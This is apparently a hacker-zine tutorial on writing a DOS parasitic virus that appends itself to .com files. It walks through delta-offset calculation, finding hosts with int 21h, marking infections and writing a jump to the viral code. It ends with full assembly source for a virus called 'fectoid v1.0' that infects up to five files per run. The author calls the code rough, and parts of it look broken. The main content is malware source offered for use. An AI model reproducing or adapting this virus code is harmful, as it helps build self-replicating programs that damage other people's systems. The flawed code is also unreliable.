Parasitic Viruses

[Nytro]

Parasitic Viruses

Author: z3ro

model z3ro
.the parasitic
.com infector
org 100h

push disclaimer

I (and the dmz/gny members/staff) take no responsibility for what you do with the knowledge gain from this article. This is for informational purposes only and i do not encourage criminal behavior. If you have a problem with me writing about this topic and think im am a criminal for doing so id like to point out Article 19 of Universal Declaration of Human Rights which states: "Everyone has the right to freedom of opinion and expression;this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers."

Whats happening this time?

1. Why asm is best for viruses

2. What is a parasitic virus

3. The delta offset and infection

4.fectoid v 1.0

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;

Call Asm_is_the_shit

Now if you have ever seen the source for a virus you would have probably noticed that is in assembly(90% of the time). Now why would it be in asm? isn't asm uber hard? Well asm is a low level language as it deals directly with the cpu OS and memory very closely. This allows you things you couldn't do with C for example such as calculate a delta offset(more on this later).

When using C it is possible to create a basic overwriting virus. But these are lame and probably wouldn't work in this day and age due to protected mode.

ret

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;

Call parasitic

Ok so what is a parasitic virus. It is quite different from an overwriting virus as it does not damage the host program. There are two main methods to doing this. We must first place a jump at the start of our host to our virus. WE must then calculate the offset to the end of the host and place our virus there. WE must also make sure that we do return control back to the host, or else we risk suspicion and errors. There are two main methods to writing a parasitic virus(DOS0 we could append to the front of the code or at the end. The front tends to be a little faster though it is much more complicated. Te second method is to append at the end and that is what we are going to cover here.

retn

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;

Call infect

Ok so you heard all the theory time for some code .

When writing a parasitic virus you first need to calculate the delta offset. this is very easy to do but it is also a very important step

first: call next
next:
pop di
sub di,offset next

Now we have the offset that points to our code.

Another very important part of a virus is the find mechanism. This is also very easy as all we have to do is use the 4eh

function as interrupt 21h.

masker db "*.com",0

lea dx,[bp+offset masker]

mov ah,4eh

ect...

ok so we have found our unwilling host. But how do we know if we havent infected him already? We simply read the first few bytes and compare them to a string(which usually consists of a jmp to our code).

mov ax,3d02h
lea dx,[bp+offset dta+30]
mov cx,3
int 21h
xchg ax,bx
int 21h

mov ax,word ptr [bp+dta+26]
mov cx,word ptr [bp+ID+1]


ID db "lalala",0

And now the moment you have all been waiting for INFECTION!!!!

Which is infact extremely simple.

We first must set up the jmp to our code and then or id string then write them to the front of the host. WE do however have to use function 4200h which is straight forward.

mov ah,40h
mov cx,3
lea dx,[bp+jmpz+ID]
int 21h

jmpz db 0e9h ; jmp to start of virus code
ID db 20h,20h,0

we then reset the file ptr and write the rest.

mov ah,40h
mov cx,eov-offset start_virus
lea dx,[bp+offset start_virus]
int 21h

We have jsut gone through the basic methods to a parasitic virus. WE have only discussed how to infect a .com file. In the next article we will cover DOs .EXEs and a little PE(i still cant infect them properly ) file infection.

ret

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;

push v1.0

call fectoid

Alright well i threw togeather some basic code togeather some code for this article. It IS VERY basic. It only covers what we have discussed in this article. Now it is very poorly done tbh but i feel its very easy to learn from. keep in mind i only spent about 20min working on it, but you can laugh if you want. Id also like to point out that none of these viruses will work on windoze. The techniques are similar but now you cant simply overwrite a file and get away with it. Learning how to do this is the first step. Sooner or later ill get into PE infetion which is MUCH MUCH more complicated. Anyways i hope you enjoy ill post a better version sometime soon, an infection checking system that actually works and better coding in general. Enjoy.

.model small
org 100h
.code
.startup
Vic db "*.com",0
dta db 42 dup (?)
junk db 41h,41h,0
leap db 0e9h,41h,0
_fect db ?
; here we set up offsets and the like

start:
db 0e9h
dw 0

do:call next
next:
pop di
sub di,offset next
lea si,[bp+offset junk]
mov di,100h
push di
movsw
movsb
mov _fect,5 ;up to 5 infections per run

;set up dta to match our delta or else bad things will happen....
lea dx,[bp+offset dta]
call DTA_set

find_first:
mov ah,4eh
lea dx,[bp+offset vic]
int 21h

call ok

find_next:
mov ah,4fh
int 21h

call ok

jc quit
jmp find_next

; here we make sure the file is a .com file and check for previsious infections

ok:

mov ax,3fh
lea dx,[bp+offset dta+30]
mov cx,3
int 21h
xchg ax,bx
int 21h

mov ax,word ptr [bp+dta+26]
mov cx,word ptr [bp+junk+1]
add cx,eov-do+3
cmp ax,cx

sub ax,3
mov word ptr [bp+buff],ax

xor al,al
call file_

mov ah,40h
mov cx,3
lea dx,[bp+leap]
int 21h

mov al,2
call file_

mov ah,40h
mov cx,eov-do
lea dx,[bp+do]
int 21h

close:
mov ah,3eh
int 21h
dec _fect
cmp _fect,0

jnz find_next
jmp host

host:
mov dx,80h
int 21h
mov di,100h
jmp di

quit: mov ax,4c00h
int 21h

; sets the dta duh...

dta_set:
mov ah,1ah
int 21h
retn
; this sets up and returns our file pointer
file_:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h

eov equ $
buff dw ?
END